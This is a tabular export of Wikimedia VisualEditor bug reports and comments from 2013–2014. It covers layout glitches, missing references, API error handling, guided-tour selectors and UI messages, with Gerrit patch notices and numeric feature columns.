+237938,VisualEditor: Top bar not staying at top,Will the fix of Bug 52441 (awaiting deployment) also solve this?,,,1375991784,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0
+237934,VisualEditor: Top bar not staying at top,"Compare http://en.wikipedia.org/wiki/User:PamD/sandbox_for_VE/test2 (top bar disappears) http://en.wikipedia.org/wiki/User:PamD/sandbox_for_VE/test3 (no problem): only difference is addition of ""a "" before the linked text on first line. No other links, templates, complexities, in the files.",,,1375606053,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+237926,VisualEditor: Top bar not staying at top,"http://en.wikipedia.org/w/index.php?title=User%3APamD%2Fsandbox_for_VE%2Ftest1&diff=567087060&oldid=567086998  Unlinking the first word seems to have solved the problem. Given that most dab pages with titles in ""Foo (disambiguation)"" start off with a bolded link to Foo, this is a problem.",,,1375604655,,PHID-USER-7zhn2ep5wvjhxetsbb6n,True,,,PHID-TASK-bygn32hj7tnm3bhqdwpl,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,1,0
+54499,VisualEditor: Protected node css with * selector breaks some template layouts,"Specifically [[Template:Football kit]] which was created in 2004 by some young genius.
+
+The rules which cause problems are:
+
+.ve-ce-protectedNode * {
+	position: relative !important;
+	top: 0 !important;
+	left: 0 !important;
+	bottom: 0 !important;
+	right: 0 !important;
+...
+}
+
+in ve.ce.Node.css
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=61497",High,80.0,1375529520,1398962590.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qmrrjmfnasuu75b532kc,task_description,resolved,True,c1,3,True,False,False,4,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+237587,VisualEditor: Protected node css with * selector breaks some template layouts,"Change 130823 merged by jenkins-bot:
+Remove '*' selector for protected nodes
+
+https://gerrit.wikimedia.org/r/130823",,,1398959330,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmrrjmfnasuu75b532kc,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+237577,VisualEditor: Protected node css with * selector breaks some template layouts,"Created attachment 15263
+Screenshot of problem and patched version
+
+**Attached**: {F11282}",,,1398959289,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qmrrjmfnasuu75b532kc,task_subcomment,,True,c1,3,True,,,43,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+237569,VisualEditor: Protected node css with * selector breaks some template layouts,"Change 130823 had a related patch set uploaded by Esanders:
+Remove '*' selector for protected nodes
+
+https://gerrit.wikimedia.org/r/130823",,,1398947768,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qmrrjmfnasuu75b532kc,task_subcomment,,True,c1,3,False,,,43,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+54490,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),"In the VE editing Window, VE does now not show references or only some of them on De.WP; both in editing the entire article and only the respective section:
+
+http://de.wikipedia.org/wiki/Google#Einzelnachweise 1 out of 55
+
+http://de.wikipedia.org/wiki/Chaim_Perelman#Einzelnachweise 0 out of 1
+
+http://de.wikipedia.org/wiki/Seilkorb#Einzelnachweise 5 out of 15
+
+http://de.wikipedia.org/wiki/Joan_Coromines#Fu.C3.9Fnoten 0 out of 3
+
+Three people looked at it but it is hard to track down a pattern. Perhabs (wild ceteris paribus-guess) related to 51741?
+
+Report:
+
+http://de.wikipedia.org/w/index.php?title=Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07&oldid=121153367#Einzelnachweise_am_Artikelende_werden_im_VE_nicht_angezeigt
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1375489200,1376930015.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,,False,PHID-TASK-ov7pqqy7izua2omo6knh,task_description,resolved,True,c1,3,False,False,True,4,,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0
+236998,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),This was fixed by https://gerrit.wikimedia.org/r/#/c/77346/1 . Apparently yet to deploy on de.wiki.,,,1376930015,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ov7pqqy7izua2omo6knh,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+236988,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),This looks like a bug we fixed recently with unnamed references. What version is deployed to de.wiki?,,,1376929509,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ov7pqqy7izua2omo6knh,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+236980,VisualEditor: Reference fails to display in reference list on init or change (but appears if you add a new use of it),Does de.wp have more than one method of displaying references (equivalent to en's {{reflist}} and <references />)? If so then this could be related to bug 52371,,,1376256998,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ov7pqqy7izua2omo6knh,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1
+54483,"TemplateData: Fix ""TypeError: Cannot read property 'content' of undefined"" (when applying template changes)","Looks like we don't account for the API returning an error in ve.ce.MWTransclusionNode.prototype.generateContents. Unconditionally response.visualeditor.content is accessed.
+
+API has a clear path both for dieUsage() and result === success.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375482780,1375493084.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-sveofxpb25owm56vn52q,task_description,resolved,True,c1,3,True,False,True,4,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+236608,"TemplateData: Fix ""TypeError: Cannot read property 'content' of undefined"" (when applying template changes)","Change 77460 merged by jenkins-bot:
+ve.ce.MWTransclusionNode: Check for API errors
+
+https://gerrit.wikimedia.org/r/77460",,,1375492758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sveofxpb25owm56vn52q,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+236600,"TemplateData: Fix ""TypeError: Cannot read property 'content' of undefined"" (when applying template changes)","Change 77460 had a related patch set uploaded by Krinkle:
+ve.ce.MWTransclusionNode: Check for API errors
+
+https://gerrit.wikimedia.org/r/77460",,,1375482953,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sveofxpb25owm56vn52q,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54477,VisualEditor: Data model should be able to default between equivalent annotations,"We want to be able to treat some pairs (more than pairs?) of annotations as the same, edited in the same way:
+
+* code / tt
+* b / strong
+* i / em
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375473840,1376028793.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-acmmw5etc6s3hnjsoagh,task_description,resolved,True,c1,3,True,False,True,4,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+236355,VisualEditor: Data model should be able to default between equivalent annotations,"Change 78204 merged by jenkins-bot:
+Generic support for multiple tags in TextStyleAnnotation
+
+https://gerrit.wikimedia.org/r/78204",,,1376023354,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-acmmw5etc6s3hnjsoagh,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236349,VisualEditor: Data model should be able to default between equivalent annotations,"Change 78204 had a related patch set uploaded by Catrope:
+Generic support for multiple tags in TextStyleAnnotation
+
+https://gerrit.wikimedia.org/r/78204",,,1376021746,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-acmmw5etc6s3hnjsoagh,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236343,VisualEditor: Data model should be able to default between equivalent annotations,code/tt duplicate of bug 52352,,,1375543016,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-acmmw5etc6s3hnjsoagh,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54476,Update tours for new edit tab selectors,"VE changed the edit tab selectors as part of their UI update to show it's in Beta.
+
+Now, on English Wikipedia, with VE enabled:
+
+* ca-edit is source editing
+* ca-ve-edit is VE editing
+
+In a blacklisted browser:
+
+* ca-edit is source editing
+* ca-ve-edit is hidden
+
+The tours need to be adjusted accordingly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1375473480,1376583765.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-dixea6aehlzjvgpfccvz,task_description,resolved,True,c1,3,True,False,True,4,,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+236298,Update tours for new edit tab selectors,"Change 78026 merged by jenkins-bot:
+Update VE section edit selector
+
+https://gerrit.wikimedia.org/r/78026",,,1376526350,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236295,Update tours for new edit tab selectors,"Change 78026 had a related patch set uploaded by Mattflaschen:
+Update VE section edit selector
+
+https://gerrit.wikimedia.org/r/78026",,,1375865592,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236290,Update tours for new edit tab selectors,"Change 77387 merged by jenkins-bot:
+Update to match new VisualEditor edit tab selector
+
+https://gerrit.wikimedia.org/r/77387",,,1375477475,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+236285,Update tours for new edit tab selectors,"Change 77387 had a related patch set uploaded by Mattflaschen:
+Update to match new VisualEditor edit tab selector
+
+https://gerrit.wikimedia.org/r/77387",,,1375477081,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236279,Update tours for new edit tab selectors,"**swalling** wrote:
+
+Yes, without this fixed I get the gettinstartedtasktoolbarve tour (meant for VE) pointing to edit source, not the new beta tab. 
+
+Thankfully it's just missing some steps, not causing any visibly broken or confusing behavior.",,,1375474521,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-dixea6aehlzjvgpfccvz,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+54475,VisualEditor:  User guide should open in a new tab/window,"From user:PamD at en.wp:
+
+Clicking on the ""Read the User Guide"" link (within the Beta/questionmark popup) has the effect of losing all current editing, because it opens the User Guide in the current window, without warning that it's going to do so. Imagine: half an hour's editing, find a problem, remember seeing that link and think it might offer advice, click for the popup, click to open the User Guide, and ... one very unhappy editor. I suggest that either the User Guide should open in a new tab or window, or, if this is impossible, there should be a warning ""Read the User Guide (and lose any current edits)"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1375472100,1375474715.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-vzoa67je6467j364n6nw,task_description,resolved,True,c1,3,False,False,True,4,,1,0,1,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+236240,VisualEditor:  User guide should open in a new tab/window,"Thanks for the reply, that is very useful to know.
+
+Brevity is not my strong suit so I've refrained from making a change to it myself. I've asked for suggestions at [[WP:VE/F#User Manual should open in new tab/window]], feel free to opine.",,,1375487279,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+236236,VisualEditor:  User guide should open in a new tab/window,"The text is controlled by https://en.wikipedia.org/wiki/MediaWiki:Visualeditor-help-label - but I'd counsel against putting a lot of text into it, as it may not look very good.",,,1375486752,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,True,,,4,,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+236233,VisualEditor:  User guide should open in a new tab/window,"Thanks for the super-quick fix.
+
+As for the wait until deployment, would it be possible to add something like ""(hold CTRL while clicking this link to open it in a new window)"" before this goes live?
+If not it's not worth doing anything, but if we can as an interim measure help some people that's better than nothing.",,,1375485996,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+236231,VisualEditor:  User guide should open in a new tab/window,"Now fixed in the code; next scheduled deployment is not until 15 August, however. :-(",,,1375474715,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+236229,VisualEditor:  User guide should open in a new tab/window,"Change 77374 merged by jenkins-bot:
+Make the link to the user guide open in a new window
+
+https://gerrit.wikimedia.org/r/77374",,,1375473897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236225,VisualEditor:  User guide should open in a new tab/window,"Change 77374 had a related patch set uploaded by Jforrester:
+Make the link to the user guide open in a new window
+
+https://gerrit.wikimedia.org/r/77374",,,1375473255,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+236219,VisualEditor:  User guide should open in a new tab/window,Marking as high priority like similar bug 52093,,,1375472396,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-vzoa67je6467j364n6nw,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+54463,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"en.wp user:Wouterstomp asks.
+""When no image is found, please display a message saying so, now it looks like nothing is happening (especially [if you] missed the short busy animation of the search bar)""
+The context is the image insertion dialog.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1375460760,1400781276.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-v2iurekb2mj5nlfaied2,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+235622,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,Verified in production,,,1400794526,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+235618,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,Verified the fix in Betalabs,,,1400537169,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235614,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133864 merged by jenkins-bot:
+Hide 'no results found' once there's at least one result
+
+https://gerrit.wikimedia.org/r/133864",,,1400535869,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0
+235610,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133864 had a related patch set uploaded by Jforrester:
+Hide 'no results found' once there's at least one result
+
+https://gerrit.wikimedia.org/r/133864",,,1400282641,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0
+235606,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133858 merged by jenkins-bot:
+Hide 'no results found' once there's at least one result
+
+https://gerrit.wikimedia.org/r/133858",,,1400282181,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0
+235601,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133858 had a related patch set uploaded by Mooeypoo:
+Hide 'no results found' once there's at least one result
+
